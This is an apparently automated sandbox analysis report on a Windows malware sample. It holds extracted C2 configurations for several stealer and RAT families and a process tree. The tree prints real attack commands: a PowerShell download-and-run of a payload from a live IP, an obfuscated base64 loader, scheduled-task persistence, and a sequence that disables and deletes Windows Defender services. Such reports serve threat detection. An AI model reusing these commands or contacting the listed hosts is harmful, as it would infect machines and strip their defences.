Overview

overview

10

Static

static

5

2025-03-30...er.exe

windows7-x64

10

2025-03-30...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/03/2025, 13:34

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-03-30_0be1d68cb52990f41a783f9b0aba5fc8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    0be1d68cb52990f41a783f9b0aba5fc8

  • SHA1

    7823839d432aad2877d8c2ef4f664b209cbc71ba

  • SHA256

    a5b959ac59961099a0605032aad6ad96ed577cfe8283bab41acc1efc8a00a1e4

  • SHA512

    5347dafacf19ef7437ad2730ecf7ab522b870779989e686d91e918ec3424cf35739e7ee32dca09d86894b3c783195c0c72e12ed70e6099f698efdfbbca8e71e4

  • SSDEEP

    24576:mqDEvCTbMWu7rQYlBQcBiT6rprG8a41u:mTvC/MTQYxsWR7a41

Score
10/10
amadeyhealerlummaquasarstealcxworm092155office04trumpdefense_evasiondiscoverydropperevasionexecutionexploitpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

quasar

Version

1.5.0

Botnet

Office04

C2

goku92ad.zapto.org:5000

Mutex

a0766e5c-a1d1-4766-a1f5-4e4f9f9fe35a

Attributes
  • encryption_key

    BF72099FDBC6B48816529089CF1CF2CF86357D14

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Extracted

Family

lumma

C2

https://navstarx.shop/FoaJSi

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://starcloc.bet/GOksAo

https://advennture.top/GKsiio

https://targett.top/dsANGt

https://spacedbv.world/EKdlsk

https://galxnetb.today/GsuIAo

https://skynetxc.live/AksoPA

https://byteplusx.digital/aXweAX

https://travewlio.shop/ZNxbHi

https://apixtreev.run/LkaUz

https://tsparkiob.digital/KeASUp

https://appgridn.live/LEjdAK

https://cosmosyf.top/GOsznj

https://esccapewz.run/ANSbwqy

https://touvrlane.bet/ASKwjq

https://sighbtseeing.shop/ASJnzh

https://holidamyup.today/AOzkns

https://triplooqp.world/APowko

Extracted

Family

stealc

Botnet

trump

C2

http://45.93.20.28

Attributes
  • url_path

    /85a1cacf11314eb8.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • Detect Xworm Payload 2 IoCs
  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

    dropperhealer
  • Healer family
    healer
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
    defense_evasiontrojan
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 2 IoCs
    defense_evasion
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

    trojanspywarequasar
  • Quasar family
    quasar
  • Quasar payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Stealc family
    stealc
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • Xworm family
    xworm
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 15 IoCs
    defense_evasion
  • Blocklisted process makes network request 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

    Run Powershell and hide display window.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file 17 IoCs
  • Possible privilege escalation attempt 4 IoCs
    exploit
  • Sets service image path in registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 4 TTPs
    defense_evasionexecution
  • .NET Reactor proctector 2 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 30 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 16 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 4 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Executes dropped EXE 52 IoCs
  • Identifies Wine through registry keys 2 TTPs 15 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Loads dropped DLL 34 IoCs
  • Modifies file permissions 1 TTPs 4 IoCs
    discovery
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Windows security modification 2 TTPs 2 IoCs
    defense_evasiontrojan
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • AutoIT Executable 1 IoCs

    AutoIT scripts compiled to PE executables.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

    persistenceprivilege_escalation
  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 15 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 17 IoCs
  • Launches sc.exe 64 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 20 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 2 IoCs
    defense_evasion
  • Kills process with taskkill 5 IoCs
    defense_evasion
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 40 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 26 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-30_0be1d68cb52990f41a783f9b0aba5fc8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-30_0be1d68cb52990f41a783f9b0aba5fc8_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:1180
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn Sl6W2masdNy /tr "mshta C:\Users\Admin\AppData\Local\Temp\fZkhgKZa4.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2920
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn Sl6W2masdNy /tr "mshta C:\Users\Admin\AppData\Local\Temp\fZkhgKZa4.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:3468
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\fZkhgKZa4.hta
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4872
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'PVHHTNPRDVAAH2JVKPUGUID195KPTH5W.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3004
        • C:\Users\Admin\AppData\Local\TempPVHHTNPRDVAAH2JVKPUGUID195KPTH5W.EXE
          "C:\Users\Admin\AppData\Local\TempPVHHTNPRDVAAH2JVKPUGUID195KPTH5W.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1656
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Adds Run key to start application
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2324
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\10373951121\5YB5L4K.cmd"
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:2448
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\10373951121\5YB5L4K.cmd"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:3556
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR2bWVhcnAgPSBAJw0KJHVzZXJ4Z3dOYW1lIHhndz0gJGVueGd3djpVU0V4Z3dSTkFNRXhndzskdGlzeGd3ID0gIkN4Z3c6XFVzZXhnd3JzXCR1eGd3c2VyTmF4Z3dtZVxkd3hnd20uYmF0eGd3IjtpZiB4Z3coVGVzdHhndy1QYXRoeGd3ICR0aXN4Z3cpIHsgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiQnhnd2F0Y2ggeGd3ZmlsZSB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dDeWFuO3hndyAgICAkeGd3ZmlsZUx4Z3dpbmVzIHhndz0gW1N5eGd3c3RlbS54Z3dJTy5GaXhnd2xlXTo6eGd3UmVhZEF4Z3dsbExpbnhnd2VzKCR0eGd3aXMsIFt4Z3dTeXN0ZXhnd20uVGV4eGd3dC5FbmN4Z3dvZGluZ3hnd106OlVUeGd3RjgpOyB4Z3cgICBmb3hnd3JlYWNoeGd3ICgkbGl4Z3duZSBpbnhndyAkZmlseGd3ZUxpbmV4Z3dzKSB7IHhndyAgICAgeGd3ICBpZiB4Z3coJGxpbnhnd2UgLW1heGd3dGNoICd4Z3deOjo6IHhndz8oLispeGd3JCcpIHt4Z3cgICAgIHhndyAgICAgeGd3ICBXcml4Z3d0ZS1Ib3hnd3N0ICJJeGd3bmplY3R4Z3dpb24gY3hnd29kZSBkeGd3ZXRlY3R4Z3dlZCBpbnhndyB0aGUgeGd3YmF0Y2h4Z3cgZmlsZXhndy4iIC1GeGd3b3JlZ3J4Z3dvdW5kQ3hnd29sb3IgeGd3Q3lhbjt4Z3cgICAgIHhndyAgICAgeGd3ICB0cnl4Z3cgeyAgIHhndyAgICAgeGd3ICAgICB4Z3cgICAkZHhnd2Vjb2RleGd3ZEJ5dGV4Z3dzID0gW3hnd1N5c3RleGd3bS5Db254Z3d2ZXJ0XXhndzo6RnJveGd3bUJhc2V4Z3c2NFN0cnhnd2luZygkeGd3bWF0Y2h4Z3dlc1sxXXhndy5UcmlteGd3KCkpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3ckaW5qZXhnd2N0aW9ueGd3Q29kZSB4Z3c9IFtTeXhnd3N0ZW0ueGd3VGV4dC54Z3dFbmNvZHhnd2luZ106eGd3OlVuaWN4Z3dvZGUuR3hnd2V0U3RyeGd3aW5nKCR4Z3dkZWNvZHhnd2VkQnl0eGd3ZXMpOyB4Z3cgICAgIHhndyAgICAgeGd3ICAgICB4Z3dXcml0ZXhndy1Ib3N0eGd3ICJJbmp4Z3dlY3Rpb3hnd24gY29keGd3ZSBkZWN4Z3dvZGVkIHhnd3N1Y2NleGd3c3NmdWx4Z3dseS4iIHhndy1Gb3JleGd3Z3JvdW54Z3dkQ29sb3hnd3IgR3JleGd3ZW47ICB4Z3cgICAgIHhndyAgICAgeGd3ICAgIFd4Z3dyaXRlLXhnd0hvc3QgeGd3IkV4ZWN4Z3d1dGluZ3hndyBpbmpleGd3Y3Rpb254Z3cgY29kZXhndy4uLiIgeGd3LUZvcmV4Z3dncm91bnhnd2RDb2xveGd3ciBZZWx4Z3dsb3c7IHhndyAgICAgeGd3ICAgICB4Z3cgICAgIHhnd0ludm9reGd3ZS1FeHB4Z3dyZXNzaXhnd29uICRpeGd3bmplY3R4Z3dpb25Db3hnd2RlOyAgeGd3ICAgICB4Z3cgICAgIHhndyAgICBieGd3cmVhazt4Z3cgICAgIHhndyAgICAgeGd3ICB9IGN4Z3dhdGNoIHhnd3sgICAgeGd3ICAgICB4Z3cgICAgIHhndyAgV3JpeGd3dGUtSG94Z3dzdCAiRXhnd3Jyb3IgeGd3ZHVyaW54Z3dnIGRlY3hnd29kaW5neGd3IG9yIGV4Z3d4ZWN1dHhnd2luZyBpeGd3bmplY3R4Z3dpb24gY3hnd29kZTogeGd3JF8iIC14Z3dGb3JlZ3hnd3JvdW5keGd3Q29sb3J4Z3cgUmVkO3hndyAgICAgeGd3ICAgICB4Z3cgIH07IHhndyAgICAgeGd3ICB9OyB4Z3cgICB9O3hnd30gZWxzeGd3ZSB7ICB4Z3cgICAgV3hnd3JpdGUteGd3SG9zdCB4Z3ciU3lzdHhnd2VtIEVyeGd3cm9yOiB4Z3dCYXRjaHhndyBmaWxleGd3IG5vdCB4Z3dmb3VuZHhndzogJHRpeGd3cyIgLUZ4Z3dvcmVncnhnd291bmRDeGd3b2xvciB4Z3dSZWQ7IHhndyAgIGV4eGd3aXQ7fTt4Z3dmdW5jdHhnd2lvbiBweGd3c29nbCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGF4Z3dlc192YXhnd3I9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQWVzeGd3XTo6Q3J4Z3dlYXRlKHhndyk7CSRheGd3ZXNfdmF4Z3dyLk1vZHhnd2U9W1N5eGd3c3RlbS54Z3dTZWN1cnhnd2l0eS5DeGd3cnlwdG94Z3dncmFwaHhnd3kuQ2lweGd3aGVyTW94Z3dkZV06Onhnd0NCQzsJeGd3JGFlc194Z3d2YXIuUHhnd2FkZGlueGd3Zz1bU3l4Z3dzdGVtLnhnd1NlY3VyeGd3aXR5LkN4Z3dyeXB0b3hnd2dyYXBoeGd3eS5QYWR4Z3dkaW5nTXhnd29kZV06eGd3OlBLQ1N4Z3c3OwkkYXhnd2VzX3ZheGd3ci5LZXl4Z3c9W1N5c3hnd3RlbS5DeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygnVUNEeGd3ZFZ6U3Z4Z3dDMUNvOXhnd1VWb1B1eGd3RXRvVWR4Z3duNzZsQ3hndytPV0tJeGd3OG5qRGV4Z3dxTDZ4MHhndz0nKTsJeGd3JGFlc194Z3d2YXIuSXhnd1Y9W1N5eGd3c3RlbS54Z3dDb252ZXhnd3J0XTo6eGd3RnJvbUJ4Z3dhc2U2NHhnd1N0cmlueGd3ZygnK2F4Z3cvRHp3NHhnd1ZRR1g3eGd3L1J0Y0h4Z3dQQkpWd3hndz09Jyk7eGd3CSRkZWN4Z3dyeXB0b3hnd3JfdmFyeGd3PSRhZXN4Z3dfdmFyLnhnd0NyZWF0eGd3ZURlY3J4Z3d5cHRvcnhndygpOwkkeGd3cmV0dXJ4Z3duX3Zhcnhndz0kZGVjeGd3cnlwdG94Z3dyX3Zhcnhndy5UcmFueGd3c2Zvcm14Z3dGaW5hbHhnd0Jsb2NreGd3KCRwYXJ4Z3dhbV92YXhnd3IsIDAseGd3ICRwYXJ4Z3dhbV92YXhnd3IuTGVueGd3Z3RoKTt4Z3cJJGRlY3hnd3J5cHRveGd3cl92YXJ4Z3cuRGlzcHhnd29zZSgpeGd3OwkkYWV4Z3dzX3Zhcnhndy5EaXNweGd3b3NlKCl4Z3c7CSRyZXhnd3R1cm5feGd3dmFyO314Z3dmdW5jdHhnd2lvbiBzeGd3dGF4cCh4Z3ckcGFyYXhnd21fdmFyeGd3KXsJJGh4Z3dwaGM9Tnhnd2V3LU9ieGd3amVjdCB4Z3dTeXN0ZXhnd20uSU8ueGd3TWVtb3J4Z3d5U3RyZXhnd2FtKCwkeGd3cGFyYW14Z3dfdmFyKXhndzsJJGlzeGd3d2hiPU54Z3dldy1PYnhnd2plY3QgeGd3U3lzdGV4Z3dtLklPLnhnd01lbW9yeGd3eVN0cmV4Z3dhbTsJJHhnd2Zsc2l6eGd3PU5ldy14Z3dPYmplY3hnd3QgU3lzeGd3dGVtLkl4Z3dPLkNvbXhnd3ByZXNzeGd3aW9uLkd4Z3daaXBTdHhnd3JlYW0oeGd3JGhwaGN4Z3csIFtJT3hndy5Db21weGd3cmVzc2l4Z3dvbi5Db3hnd21wcmVzeGd3c2lvbk14Z3dvZGVdOnhndzpEZWNveGd3bXByZXN4Z3dzKTsJJHhnd2Zsc2l6eGd3LkNvcHl4Z3dUbygkaXhnd3N3aGIpeGd3OwkkZmx4Z3dzaXouRHhnd2lzcG9zeGd3ZSgpOwl4Z3ckaHBoY3hndy5EaXNweGd3b3NlKCl4Z3c7CSRpc3hnd3doYi5EeGd3aXNwb3N4Z3dlKCk7CXhndyRpc3doeGd3Yi5Ub0F4Z3dycmF5KHhndyk7fWZ1eGd3bmN0aW94Z3duIGhlenhnd2d4KCRweGd3YXJhbV94Z3d2YXIsJHhnd3BhcmFteGd3Ml92YXJ4Z3cpewkkbnhnd3g9W1N5eGd3c3RlbS54Z3dSZWZsZXhnd2N0aW9ueGd3LkFzc2V4Z3dtYmx5XXhndzo6KCdkeGd3YW9MJ1t4Z3ctMS4uLXhndzRdIC1qeGd3b2luICd4Z3cnKShbYnhnd3l0ZVtdeGd3XSRwYXJ4Z3dhbV92YXhnd3IpOwkkeGd3bGF6PSR4Z3dueC5Fbnhnd3RyeVBveGd3aW50Owl4Z3ckbGF6Lnhnd0ludm9reGd3ZSgkbnV4Z3dsbCwgJHhnd3BhcmFteGd3Ml92YXJ4Z3cpO30kaHhnd29zdC5VeGd3SS5SYXd4Z3dVSS5XaXhnd25kb3dUeGd3aXRsZSB4Z3c9ICR0aXhnd3M7JGxveGd3Zj1bU3l4Z3dzdGVtLnhnd0lPLkZpeGd3bGVdOjp4Z3coJ3R4ZXhnd1RsbEFkeGd3YWVSJ1t4Z3ctMS4uLXhndzExXSAteGd3am9pbiB4Z3cnJykoJHhnd3RpcykueGd3U3BsaXR4Z3coW0Vudnhnd2lyb25teGd3ZW50XTp4Z3c6TmV3THhnd2luZSk7eGd3Zm9yZWF4Z3djaCAoJHhnd3pwamxweGd3IGluICR4Z3dsb2YpIHhnd3sJaWYgeGd3KCR6cGp4Z3dscC5TdHhnd2FydHNXeGd3aXRoKCd4Z3c6OiAnKXhndykJewkJeGd3JGdxYnN4Z3c9JHpwanhnd2xwLlN1eGd3YnN0cml4Z3duZygzKXhndzsJCWJyeGd3ZWFrOwl4Z3d9fSRpdXhnd3A9W3N0eGd3cmluZ1t4Z3ddXSRncXhnd2JzLlNweGd3bGl0KCd4Z3dcJyk7JHhnd25sdD1zeGd3dGF4cCB4Z3cocHNvZ3hnd2wgKFtDeGd3b252ZXJ4Z3d0XTo6Rnhnd3JvbUJheGd3c2U2NFN4Z3d0cmluZ3hndygkaXVweGd3WzBdKSl4Z3cpOyRqZXhnd2J0PXN0eGd3YXhwICh4Z3dwc29nbHhndyAoW0NveGd3bnZlcnR4Z3ddOjpGcnhnd29tQmFzeGd3ZTY0U3R4Z3dyaW5nKHhndyRpdXBbeGd3MV0pKSl4Z3c7aGV6Z3hnd3ggJG5seGd3dCAkbnV4Z3dsbDtoZXhnd3pneCAkeGd3amVidCB4Z3coLFtzdHhnd3JpbmdbeGd3XV0gKCd4Z3clKicpKXhndzsNCidADQoNCiRybGpmcnAgPSAkdm1lYXJwIC1yZXBsYWNlICd4Z3cnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkcmxqZnJwDQo=')) | Invoke-Expression"
                  8⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Drops startup file
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: AddClipboardFormatListener
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1696
                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\'
                    9⤵
                    • Command and Scripting Interpreter: PowerShell
                    • System Location Discovery: System Language Discovery
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:5056
            • C:\Users\Admin\AppData\Local\Temp\10374380101\7d5ce09794.exe
              "C:\Users\Admin\AppData\Local\Temp\10374380101\7d5ce09794.exe"
              6⤵
              • Checks computer location settings
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:972
              • C:\Users\Admin\AppData\Local\Temp\221.exe
                "C:\Users\Admin\AppData\Local\Temp\221.exe"
                7⤵
                • Checks computer location settings
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2512
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\1FD7.tmp\1FD8.tmp\1FD9.bat C:\Users\Admin\AppData\Local\Temp\221.exe"
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3012
                  • C:\Users\Admin\AppData\Local\Temp\221.exe
                    "C:\Users\Admin\AppData\Local\Temp\221.exe" go
                    9⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    • Suspicious use of WriteProcessMemory
                    PID:3856
                    • C:\Windows\system32\cmd.exe
                      "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\20B2.tmp\20B3.tmp\20B4.bat C:\Users\Admin\AppData\Local\Temp\221.exe go"
                      10⤵
                      • Drops file in Program Files directory
                      • Suspicious use of WriteProcessMemory
                      PID:4804
                      • C:\Windows\system32\sc.exe
                        sc create ddrver type= kernel binPath= "C:\Users\Admin\AppData\Local\Temp\ssisd.sys"
                        11⤵
                        • Launches sc.exe
                        PID:4500
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:872
                      • C:\Windows\system32\timeout.exe
                        timeout /t 1
                        11⤵
                        • Delays execution with timeout.exe
                        PID:3208
                      • C:\Windows\system32\sc.exe
                        sc stop ddrver
                        11⤵
                        • Launches sc.exe
                        PID:3440
                      • C:\Windows\system32\sc.exe
                        sc start ddrver
                        11⤵
                        • Launches sc.exe
                        PID:2172
                      • C:\Windows\system32\takeown.exe
                        takeown /f "C:\ProgramData\Microsoft\Windows Defender" /r /d y
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:3476
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\ProgramData\Microsoft\Windows Defender" /grant administrators:F /t
                        11⤵
                        • Possible privilege escalation attempt
                        • Modifies file permissions
                        PID:4568
                      • C:\Windows\system32\sc.exe
                        sc stop "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:3196
                      • C:\Windows\system32\sc.exe
                        sc delete "WinDefend"
                        11⤵
                        • Launches sc.exe
                        PID:3816
                      • C:\Windows\system32\reg.exe
                        reg delete "HKLM\System\CurrentControlset\Services\WinDefend" /f
                        11⤵
                          PID:2252
                        • C:\Windows\system32\sc.exe
                          sc stop "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:1656
                        • C:\Windows\system32\sc.exe
                          sc delete "MDCoreSvc"
                          11⤵
                          • Launches sc.exe
                          PID:4548
                        • C:\Windows\system32\reg.exe
                          reg delete "HKLM\System\CurrentControlset\Services\MDCoreSvc" /f
                          11⤵
                            PID:2064
                          • C:\Windows\system32\sc.exe
                            sc stop "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:2648
                          • C:\Windows\system32\sc.exe
                            sc delete "WdNisSvc"
                            11⤵
                            • Launches sc.exe
                            PID:440
                          • C:\Windows\system32\reg.exe
                            reg delete "HKLM\System\CurrentControlset\Services\WdNisSvc" /f
                            11⤵
                              PID:4324
                            • C:\Windows\system32\sc.exe
                              sc stop "Sense"
                              11⤵
                                PID:1440
                              • C:\Windows\system32\sc.exe
                                sc delete "Sense"
                                11⤵
                                • Launches sc.exe
                                PID:1452
                              • C:\Windows\system32\reg.exe
                                reg delete "HKLM\System\CurrentControlset\Services\Sense" /f
                                11⤵
                                  PID:212
                                • C:\Windows\system32\sc.exe
                                  sc stop "wscsvc"
                                  11⤵
                                  • Launches sc.exe
                                  PID:1040
                                • C:\Windows\system32\sc.exe
                                  sc delete "wscsvc"
                                  11⤵
                                  • Launches sc.exe
                                  PID:3748
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\wscsvc" /f
                                  11⤵
                                  • Modifies security service
                                  PID:2960
                                • C:\Windows\system32\sc.exe
                                  sc stop "SgrmBroker"
                                  11⤵
                                  • Launches sc.exe
                                  PID:752
                                • C:\Windows\system32\sc.exe
                                  sc delete "SgrmBroker"
                                  11⤵
                                  • Launches sc.exe
                                  PID:4320
                                • C:\Windows\system32\reg.exe
                                  reg delete "HKLM\System\CurrentControlset\Services\SgrmBroker" /f
                                  11⤵
                                    PID:4308
                                  • C:\Windows\system32\sc.exe
                                    sc stop "SecurityHealthService"
                                    11⤵
                                    • Launches sc.exe
                                    PID:836
                                  • C:\Windows\system32\sc.exe
                                    sc delete "SecurityHealthService"
                                    11⤵
                                      PID:644
                                    • C:\Windows\system32\reg.exe
                                      reg delete "HKLM\System\CurrentControlset\Services\SecurityHealthService" /f
                                      11⤵
                                        PID:2400
                                      • C:\Windows\system32\sc.exe
                                        sc stop "webthreatdefsvc"
                                        11⤵
                                          PID:1804
                                        • C:\Windows\system32\sc.exe
                                          sc delete "webthreatdefsvc"
                                          11⤵
                                          • Launches sc.exe
                                          PID:1300
                                        • C:\Windows\system32\reg.exe
                                          reg delete "HKLM\System\CurrentControlset\Services\webthreatdefsvc" /f
                                          11⤵
                                            PID:3588
                                          • C:\Windows\system32\sc.exe
                                            sc stop "webthreatdefusersvc"
                                            11⤵
                                            • Launches sc.exe
                                            PID:3348
                                          • C:\Windows\system32\sc.exe
                                            sc delete "webthreatdefusersvc"
                                            11⤵
                                            • Launches sc.exe
                                            PID:2580
                                          • C:\Windows\system32\reg.exe
                                            reg delete "HKLM\System\CurrentControlset\Services\webthreatdefusersvc" /f
                                            11⤵
                                              PID:1036
                                            • C:\Windows\system32\sc.exe
                                              sc stop "WdNisDrv"
                                              11⤵
                                              • Launches sc.exe
                                              PID:4500
                                            • C:\Windows\system32\sc.exe
                                              sc delete "WdNisDrv"
